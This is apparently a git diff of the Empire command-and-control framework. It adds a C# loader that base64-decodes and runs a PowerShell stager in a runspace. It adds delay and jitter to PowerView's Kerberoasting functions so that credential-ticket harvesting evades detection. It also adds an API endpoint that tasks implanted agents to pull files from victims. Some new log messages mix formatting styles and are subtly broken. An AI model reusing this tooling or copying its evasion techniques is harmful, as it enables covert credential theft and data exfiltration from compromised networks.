{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,34 @@
|
||||||
|
/*
|
||||||
|
*
|
||||||
|
* You may compile this in Visual Studio or SharpDevelop etc.
|
||||||
|
*
|
||||||
|
*
|
||||||
|
*
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
using System;
|
||||||
|
using System.Text;
|
||||||
|
using System.Management.Automation;
|
||||||
|
using System.Management.Automation.Runspaces;
|
||||||
|
|
||||||
|
namespace cmd
|
||||||
|
{
|
||||||
|
class Program
|
||||||
|
{
|
||||||
|
public static void Main(string[] args)
|
||||||
|
{
|
||||||
|
string stager = " YOUR CODE GOES HERE";
|
||||||
|
var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager));
|
||||||
|
|
||||||
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||||
|
runspace.Open();
|
||||||
|
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
|
||||||
|
Pipeline pipeline = runspace.CreatePipeline();
|
||||||
|
|
||||||
|
pipeline.Commands.AddScript(decodedScript);
|
||||||
|
|
||||||
|
pipeline.Commands.Add("Out-String");
|
||||||
|
pipeline.Invoke();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,31 @@
|
||||||
|
#region Using directives
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
// General Information about an assembly is controlled through the following
|
||||||
|
// set of attributes. Change these attribute values to modify the information
|
||||||
|
// associated with an assembly.
|
||||||
|
[assembly: AssemblyTitle("cmd")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("cmd")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright 2018")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// This sets the default COM visibility of types in the assembly to invisible.
|
||||||
|
// If you need to expose a type to COM, use [ComVisible(true)] on that type.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// The assembly version has following format :
|
||||||
|
//
|
||||||
|
// Major.Minor.Build.Revision
|
||||||
|
//
|
||||||
|
// You can specify all the values or you can use the default the Revision and
|
||||||
|
// Build Numbers by using the '*' as shown below:
|
||||||
|
[assembly: AssemblyVersion("1.0.*")]
|
|
@ -0,0 +1,3 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<configuration>
|
||||||
|
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
|
|
@ -0,0 +1,49 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
|
||||||
|
<PropertyGroup>
|
||||||
|
<ProjectGuid>{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}</ProjectGuid>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<OutputType>WinExe</OutputType>
|
||||||
|
<RootNamespace>cmd</RootNamespace>
|
||||||
|
<AssemblyName>cmd</AssemblyName>
|
||||||
|
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||||
|
<TargetFrameworkProfile>
|
||||||
|
</TargetFrameworkProfile>
|
||||||
|
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Platform)' == 'AnyCPU' ">
|
||||||
|
<PlatformTarget>x86</PlatformTarget>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
|
||||||
|
<OutputPath>bin\Debug\</OutputPath>
|
||||||
|
<DebugSymbols>True</DebugSymbols>
|
||||||
|
<DebugType>Full</DebugType>
|
||||||
|
<Optimize>False</Optimize>
|
||||||
|
<CheckForOverflowUnderflow>True</CheckForOverflowUnderflow>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DebugSymbols>False</DebugSymbols>
|
||||||
|
<DebugType>None</DebugType>
|
||||||
|
<Optimize>True</Optimize>
|
||||||
|
<CheckForOverflowUnderflow>False</CheckForOverflowUnderflow>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<StartupObject />
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Management.Automation" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Program.cs" />
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="app.config" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
|
</Project>
|
Binary file not shown.
Binary file not shown.
|
@ -487,6 +487,14 @@ Defaults to 'John'.
|
||||||
A [Management.Automation.PSCredential] object of alternate credentials
|
A [Management.Automation.PSCredential] object of alternate credentials
|
||||||
for connection to the remote domain using Invoke-UserImpersonation.
|
for connection to the remote domain using Invoke-UserImpersonation.
|
||||||
|
|
||||||
|
.PARAMETER Delay
|
||||||
|
|
||||||
|
Specifies the delay in seconds between ticket requests.
|
||||||
|
|
||||||
|
.PARAMETER Jitter
|
||||||
|
|
||||||
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
|
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
|
||||||
|
@ -543,6 +551,14 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
||||||
[String]
|
[String]
|
||||||
$OutputFormat = 'John',
|
$OutputFormat = 'John',
|
||||||
|
|
||||||
|
[ValidateRange(0,10000)]
|
||||||
|
[Int]
|
||||||
|
$Delay = 0,
|
||||||
|
|
||||||
|
[ValidateRange(0.0, 1.0)]
|
||||||
|
[Double]
|
||||||
|
$Jitter = .3,
|
||||||
|
|
||||||
[Management.Automation.PSCredential]
|
[Management.Automation.PSCredential]
|
||||||
[Management.Automation.CredentialAttribute()]
|
[Management.Automation.CredentialAttribute()]
|
||||||
$Credential = [Management.Automation.PSCredential]::Empty
|
$Credential = [Management.Automation.PSCredential]::Empty
|
||||||
|
@ -563,8 +579,11 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
||||||
else {
|
else {
|
||||||
$TargetObject = $SPN
|
$TargetObject = $SPN
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$RandNo = New-Object System.Random
|
||||||
|
|
||||||
ForEach ($Object in $TargetObject) {
|
ForEach ($Object in $TargetObject) {
|
||||||
|
|
||||||
if ($PSBoundParameters['User']) {
|
if ($PSBoundParameters['User']) {
|
||||||
$UserSPN = $Object.ServicePrincipalName
|
$UserSPN = $Object.ServicePrincipalName
|
||||||
$SamAccountName = $Object.SamAccountName
|
$SamAccountName = $Object.SamAccountName
|
||||||
|
@ -641,6 +660,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
||||||
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||||
Write-Output $Out
|
Write-Output $Out
|
||||||
}
|
}
|
||||||
|
# sleep for our semi-randomized interval
|
||||||
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1029,6 +1050,10 @@ Defaults to 'John'.
|
||||||
.PARAMETER Credential
|
.PARAMETER Credential
|
||||||
A [Management.Automation.PSCredential] object of alternate credentials
|
A [Management.Automation.PSCredential] object of alternate credentials
|
||||||
for connection to the target domain.
|
for connection to the target domain.
|
||||||
|
.PARAMETER Delay
|
||||||
|
Specifies the delay in seconds between ticket requests.
|
||||||
|
.PARAMETER Jitter
|
||||||
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
Invoke-Kerberoast | fl
|
Invoke-Kerberoast | fl
|
||||||
Kerberoasts all found SPNs for the current domain.
|
Kerberoasts all found SPNs for the current domain.
|
||||||
|
@ -1089,6 +1114,14 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
||||||
[Switch]
|
[Switch]
|
||||||
$Tombstone,
|
$Tombstone,
|
||||||
|
|
||||||
|
[ValidateRange(0,10000)]
|
||||||
|
[Int]
|
||||||
|
$Delay = 0,
|
||||||
|
|
||||||
|
[ValidateRange(0.0, 1.0)]
|
||||||
|
[Double]
|
||||||
|
$Jitter = .3,
|
||||||
|
|
||||||
[ValidateSet('John', 'Hashcat')]
|
[ValidateSet('John', 'Hashcat')]
|
||||||
[Alias('Format')]
|
[Alias('Format')]
|
||||||
[String]
|
[String]
|
||||||
|
@ -1121,7 +1154,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
||||||
|
|
||||||
PROCESS {
|
PROCESS {
|
||||||
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
|
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
|
||||||
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
|
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter
|
||||||
}
|
}
|
||||||
|
|
||||||
END {
|
END {
|
||||||
|
|
51
empire
51
empire
|
@ -87,11 +87,12 @@ def get_permanent_token(conn):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
permanentToken = execute_db_query(conn, "SELECT api_permanent_token FROM config")[0]
|
permanentToken = execute_db_query(conn, "SELECT api_permanent_token FROM config")[0]
|
||||||
if not permanentToken[0]:
|
permanentToken = permanentToken[0]
|
||||||
|
if not permanentToken:
|
||||||
permanentToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40))
|
permanentToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40))
|
||||||
execute_db_query(conn, "UPDATE config SET api_permanent_token=?", [permanentToken])
|
execute_db_query(conn, "UPDATE config SET api_permanent_token=?", [permanentToken])
|
||||||
|
|
||||||
return permanentToken[0]
|
return permanentToken
|
||||||
|
|
||||||
|
|
||||||
####################################################################
|
####################################################################
|
||||||
|
@ -224,6 +225,11 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
if (token != apiToken) and (token != permanentApiToken):
|
if (token != apiToken) and (token != permanentApiToken):
|
||||||
return make_response('', 401)
|
return make_response('', 401)
|
||||||
|
|
||||||
|
@app.after_request
|
||||||
|
def add_cors(response):
|
||||||
|
response.headers['Access-Control-Allow-Origin'] = '*'
|
||||||
|
return response
|
||||||
|
|
||||||
|
|
||||||
@app.errorhandler(Exception)
|
@app.errorhandler(Exception)
|
||||||
def exception_handler(error):
|
def exception_handler(error):
|
||||||
|
@ -721,6 +727,8 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
listenerObject = main.listeners.loadedListeners[listener_type]
|
listenerObject = main.listeners.loadedListeners[listener_type]
|
||||||
# set all passed options
|
# set all passed options
|
||||||
for option, values in request.json.iteritems():
|
for option, values in request.json.iteritems():
|
||||||
|
if type(values) == unicode:
|
||||||
|
values = values.encode('utf8')
|
||||||
if option == "Name":
|
if option == "Name":
|
||||||
listenerName = values
|
listenerName = values
|
||||||
|
|
||||||
|
@ -899,6 +907,33 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
|
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
|
||||||
|
|
||||||
return jsonify({'success': True})
|
return jsonify({'success': True})
|
||||||
|
@app.route('/api/agents/<string:agent_name>/download', methods=['POST'])
|
||||||
|
def task_agent_download(agent_name):
|
||||||
|
"""
|
||||||
|
Tasks the specified agent to download a file
|
||||||
|
"""
|
||||||
|
|
||||||
|
if agent_name.lower() == "all":
|
||||||
|
# enumerate all target agent sessionIDs
|
||||||
|
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
|
||||||
|
else:
|
||||||
|
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
|
||||||
|
|
||||||
|
if not agentNameIDs or len(agentNameIDs) == 0:
|
||||||
|
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
|
||||||
|
|
||||||
|
if not request.json['filename']:
|
||||||
|
return make_response(jsonify({'error':'file name not provided'}), 404)
|
||||||
|
|
||||||
|
fileName = request.json['filename']
|
||||||
|
for agentNameID in agentNameIDs:
|
||||||
|
(agentName, agentSessionID) = agentNameID
|
||||||
|
|
||||||
|
msg = "Tasked agent to download %s" % (fileName)
|
||||||
|
main.agents.save_agent_log(agentSessionID, msg)
|
||||||
|
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_DOWNLOAD', fileName)
|
||||||
|
|
||||||
|
return jsonify({'success': True, 'taskID': taskID})
|
||||||
|
|
||||||
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
|
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
|
||||||
def task_agent_upload(agent_name):
|
def task_agent_upload(agent_name):
|
||||||
|
@ -935,9 +970,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
|
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
|
||||||
main.agents.save_agent_log(agentSessionID, msg)
|
main.agents.save_agent_log(agentSessionID, msg)
|
||||||
data = fileName + "|" + fileData
|
data = fileName + "|" + fileData
|
||||||
main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
|
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
|
||||||
|
|
||||||
return jsonify({'success': True})
|
return jsonify({'success': True, 'taskID': taskID})
|
||||||
|
|
||||||
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
|
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
|
||||||
def task_agent_shell(agent_name):
|
def task_agent_shell(agent_name):
|
||||||
|
@ -1128,7 +1163,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
|
|
||||||
for reportingEvent in reportingRaw:
|
for reportingEvent in reportingRaw:
|
||||||
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
||||||
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
|
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID})
|
||||||
|
|
||||||
return jsonify({'reporting' : reportingEvents})
|
return jsonify({'reporting' : reportingEvents})
|
||||||
|
|
||||||
|
@ -1152,7 +1187,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
|
|
||||||
for reportingEvent in reportingRaw:
|
for reportingEvent in reportingRaw:
|
||||||
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
||||||
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
|
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID})
|
||||||
|
|
||||||
return jsonify({'reporting' : reportingEvents})
|
return jsonify({'reporting' : reportingEvents})
|
||||||
|
|
||||||
|
@ -1168,7 +1203,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
|
|
||||||
for reportingEvent in reportingRaw:
|
for reportingEvent in reportingRaw:
|
||||||
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
||||||
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
|
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID})
|
||||||
|
|
||||||
return jsonify({'reporting' : reportingEvents})
|
return jsonify({'reporting' : reportingEvents})
|
||||||
|
|
||||||
|
@ -1184,7 +1219,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
|
|
||||||
for reportingEvent in reportingRaw:
|
for reportingEvent in reportingRaw:
|
||||||
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
|
||||||
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
|
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID})
|
||||||
|
|
||||||
return jsonify({'reporting' : reportingEvents})
|
return jsonify({'reporting' : reportingEvents})
|
||||||
|
|
||||||
|
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,23 @@
|
||||||
|
"""
|
||||||
|
Connect to the default database at ./data/empire.db.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
import helpers
|
||||||
|
|
||||||
|
def connect_to_db():
|
||||||
|
try:
|
||||||
|
# set the database connectiont to autocommit w/ isolation level
|
||||||
|
conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
|
||||||
|
conn.text_factory = str
|
||||||
|
conn.isolation_level = None
|
||||||
|
return conn
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
print helpers.color("[!] Could not connect to database")
|
||||||
|
print helpers.color("[!] Please run database_setup.py")
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
db = connect_to_db()
|
|
@ -69,6 +69,7 @@ import encryption
|
||||||
import helpers
|
import helpers
|
||||||
import packets
|
import packets
|
||||||
import messages
|
import messages
|
||||||
|
import events
|
||||||
|
|
||||||
|
|
||||||
class Agents:
|
class Agents:
|
||||||
|
@ -106,7 +107,7 @@ class Agents:
|
||||||
|
|
||||||
def get_db_connection(self):
|
def get_db_connection(self):
|
||||||
"""
|
"""
|
||||||
Returns the
|
Returns the
|
||||||
"""
|
"""
|
||||||
self.lock.acquire()
|
self.lock.acquire()
|
||||||
self.mainMenu.conn.row_factory = None
|
self.mainMenu.conn.row_factory = None
|
||||||
|
@ -119,7 +120,7 @@ class Agents:
|
||||||
# Misc agent methods
|
# Misc agent methods
|
||||||
#
|
#
|
||||||
###############################################################
|
###############################################################
|
||||||
|
|
||||||
def is_agent_present(self, sessionID):
|
def is_agent_present(self, sessionID):
|
||||||
"""
|
"""
|
||||||
Checks if a given sessionID corresponds to an active agent.
|
Checks if a given sessionID corresponds to an active agent.
|
||||||
|
@ -129,7 +130,7 @@ class Agents:
|
||||||
nameid = self.get_agent_id_db(sessionID)
|
nameid = self.get_agent_id_db(sessionID)
|
||||||
if nameid:
|
if nameid:
|
||||||
sessionID = nameid
|
sessionID = nameid
|
||||||
|
|
||||||
return sessionID in self.agents
|
return sessionID in self.agents
|
||||||
|
|
||||||
|
|
||||||
|
@ -154,11 +155,19 @@ class Agents:
|
||||||
try:
|
try:
|
||||||
self.lock.acquire()
|
self.lock.acquire()
|
||||||
cur = conn.cursor()
|
cur = conn.cursor()
|
||||||
# add the agent and report the initial checkin in the reporting database
|
# add the agent
|
||||||
cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language))
|
cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language))
|
||||||
cur.execute("INSERT INTO reporting (name, event_type, message, time_stamp) VALUES (?,?,?,?)", (sessionID, "checkin", checkinTime, helpers.get_datetime()))
|
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
# dispatch this event
|
||||||
|
message = "[*] New agent {} checked in".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message,
|
||||||
|
'timestamp': checkinTime
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# initialize the tasking/result buffers along with the client session key
|
# initialize the tasking/result buffers along with the client session key
|
||||||
self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []}
|
self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []}
|
||||||
finally:
|
finally:
|
||||||
|
@ -191,6 +200,14 @@ class Agents:
|
||||||
cur = conn.cursor()
|
cur = conn.cursor()
|
||||||
cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
|
cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
# dispatch this event
|
||||||
|
message = "[*] Agent {} deleted".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
finally:
|
finally:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
||||||
|
@ -238,8 +255,12 @@ class Agents:
|
||||||
# fix for 'skywalker' exploit by @zeroSteiner
|
# fix for 'skywalker' exploit by @zeroSteiner
|
||||||
safePath = os.path.abspath("%sdownloads/" % self.installPath)
|
safePath = os.path.abspath("%sdownloads/" % self.installPath)
|
||||||
if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
|
if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
|
||||||
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender='Agents')
|
message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data)
|
||||||
dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender='Agents')
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return
|
return
|
||||||
|
|
||||||
# make the recursive directory structure if it doesn't already exist
|
# make the recursive directory structure if it doesn't already exist
|
||||||
|
@ -252,17 +273,19 @@ class Agents:
|
||||||
else:
|
else:
|
||||||
# otherwise append
|
# otherwise append
|
||||||
f = open("%s/%s" % (save_path, filename), 'ab')
|
f = open("%s/%s" % (save_path, filename), 'ab')
|
||||||
|
|
||||||
if "python" in lang:
|
if "python" in lang:
|
||||||
print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
|
print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
|
||||||
d = decompress.decompress()
|
d = decompress.decompress()
|
||||||
dec_data = d.dec_data(data)
|
dec_data = d.dec_data(data)
|
||||||
print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
|
print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
|
||||||
if not dec_data['crc32_check']:
|
if not dec_data['crc32_check']:
|
||||||
dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
|
message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
|
||||||
print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
|
signal = json.dumps({
|
||||||
dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
|
'print': True,
|
||||||
print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(nameid))
|
||||||
data = dec_data['data']
|
data = dec_data['data']
|
||||||
|
|
||||||
f.write(data)
|
f.write(data)
|
||||||
|
@ -271,8 +294,12 @@ class Agents:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
||||||
# notify everyone that the file was downloaded
|
# notify everyone that the file was downloaded
|
||||||
dispatcher.send("[+] Part of file %s from %s saved" % (filename, sessionID), sender='Agents')
|
message = "[+] Part of file %s from %s saved".format(filename, sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
def save_module_file(self, sessionID, path, data):
|
def save_module_file(self, sessionID, path, data):
|
||||||
"""
|
"""
|
||||||
|
@ -294,10 +321,12 @@ class Agents:
|
||||||
dec_data = d.dec_data(data)
|
dec_data = d.dec_data(data)
|
||||||
print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
|
print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
|
||||||
if not dec_data['crc32_check']:
|
if not dec_data['crc32_check']:
|
||||||
dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
|
message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
|
||||||
print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
|
signal = json.dumps({
|
||||||
dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
|
'print': True,
|
||||||
print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(nameid))
|
||||||
data = dec_data['data']
|
data = dec_data['data']
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -305,8 +334,12 @@ class Agents:
|
||||||
# fix for 'skywalker' exploit by @zeroSteiner
|
# fix for 'skywalker' exploit by @zeroSteiner
|
||||||
safePath = os.path.abspath("%s/downloads/" % self.installPath)
|
safePath = os.path.abspath("%s/downloads/" % self.installPath)
|
||||||
if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
|
if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
|
||||||
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender='Agents')
|
message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data)
|
||||||
dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender='Agents')
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return
|
return
|
||||||
|
|
||||||
# make the recursive directory structure if it doesn't already exist
|
# make the recursive directory structure if it doesn't already exist
|
||||||
|
@ -321,8 +354,12 @@ class Agents:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
||||||
# notify everyone that the file was downloaded
|
# notify everyone that the file was downloaded
|
||||||
